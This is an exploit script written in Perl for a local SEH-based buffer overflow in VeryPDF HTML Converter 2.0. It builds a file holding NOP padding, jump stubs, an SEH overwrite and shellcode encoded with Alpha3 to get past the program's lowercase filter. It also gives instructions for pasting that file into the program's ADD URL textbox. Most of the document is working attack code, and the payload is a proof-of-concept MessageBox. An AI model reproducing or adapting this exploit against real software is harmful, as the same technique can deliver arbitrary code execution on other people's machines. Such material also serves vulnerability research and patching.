VeryPDF HTML Converter 2.0 – Local Buffer Overflow (SEH/ToLower() Bypass)
#************************************************************************************************************* # # Exploit Title: VeryPDF HTML Converter v2.0 SEH/ToLower() Bypass Buffer Overflow # Date: 9-6-2015 # Target tested: Windows 7 (x86/x64) # Software Link: http://www.verypdf.com/htmltools/winhtmltools.exe # Exploit Author: Robbie Corley # Contact: c0d3rc0rl3y@gmail.com # Website: # CVE: # Category: Local Exploit # # Description: # The [ADD URL] feature is vulnerable to an SEH based buffer overflow. # This can be exploited by constructing a payload of ascii characters that contain our payload # and pasting it into the textbox. The program's textbox converts ALL pasted data to lowercase so I # took advantage of the wonderful Alpha3 tool to encode the shellcode into a numerical format to bypass the filter. # # I also used a null terminated SEH address to gain universal exploitation across all current Windows OSes. # So, I took a rather unconventional approach and placed the shellcode in the buffer itself since it could # not execute after the buffer (after SEH) due to the null byte cutting off the remaining pieces of the string. # # Instructions: # Run this exploit as-is, open the created 'sploitit.txt' file, copy and paste into the [ADD URL] textbox # Hit [OK] and enjoy your soon-to-follow messagebox! # #************************************************************************************************************** # placing shellcode in top of buffer padding since we have a null terminated string $zero = pack("C*", 0xD); my $buff = "\x90" x 2700; #NSEH is at 3704. we start low to give room for everything else. my $seh = "\x05\x25\x40".$zero; $nseh = "\xeb\xe1\x90\x90"; # jump backwards to shellcode ;) $filler="\x90" x 122; #0018E924 66:05 9903 ADD AX,399 #0018E928 04 29 ADD AX,29 #0018E92A 04 03 ADD AX,3 #10 bytes $encodersetup="\x66\x05\x99\x03\x04\x24\x04\x10"; $encodersetup .= "\x8b\xc8"; #python ALPHA3.py x86 lowercase ECX --input="c:\shellmsg.bin" #Windows MessageBox contructed using Metasploit & Alpha3 #637 bytes $shellcode= "j314d34djq34djk34d1411q11q7j314d34dj234dkmq502dq5o0d15upj98xmfod68kfnen488m56kj4". "0ek53knd00192g0dl428l0okn5503cnk6b5bm844nb4k5x70o0mkoc60l9l03c3fje7embj4k9lx1x9k". "10j2j2ngne63og74ob708do87cm3jxm9o3j05x0k628x50910b8e5049o84e01oxk39d5841k8jej8kk". "nxo4ogo5l07129215f7f3fo0989459kxnb2b78jg5gn8m4l21e6g823x5x680c4b91n0ox1370n0l1l4". "10jfmk941b9f1k09n57g281gk414nb4kle92542994293e1dnf224e7b920g0b7go3735cm87f0d4c8f". "9d1d3c3b24obn8ob498k1d0e7bke846elc507594jb2xjb9e6d3g8b7gl9459819jclb5b9bjg1cn935". "6x7x8x7844oe231809742494ndo43d040cn13fmb43k0611f0952kk3g32l54fkd0b6xm15xjkj3636k". "nb9e1dj2n16e3b9565lk6f2bmb7b5e0c0d29l13ekbk94842kd51n17d327000803223ncm9101gl"; $smallpads = "\x90" x 347; ##section 2 | total 10 bytes ##Perform a long jump backwards up the stack to reach our payload ;) $jumpcode="\x8B\xC1\x90\x90"; #MOV EAX,ECX $jumpcode .= "\x66\x05\x55\x05"; # ADD AX,555 --> We do AX so we don't have to worry about NULLS ;) $jumpcode .= "\xFF\xe0"; #JMP EAX open(myfile,'>sploitit.txt'); print myfile $buff.$encodersetup.$shellcode.$smallpads.$jumpcode.$nseh.$seh; close (myfile); |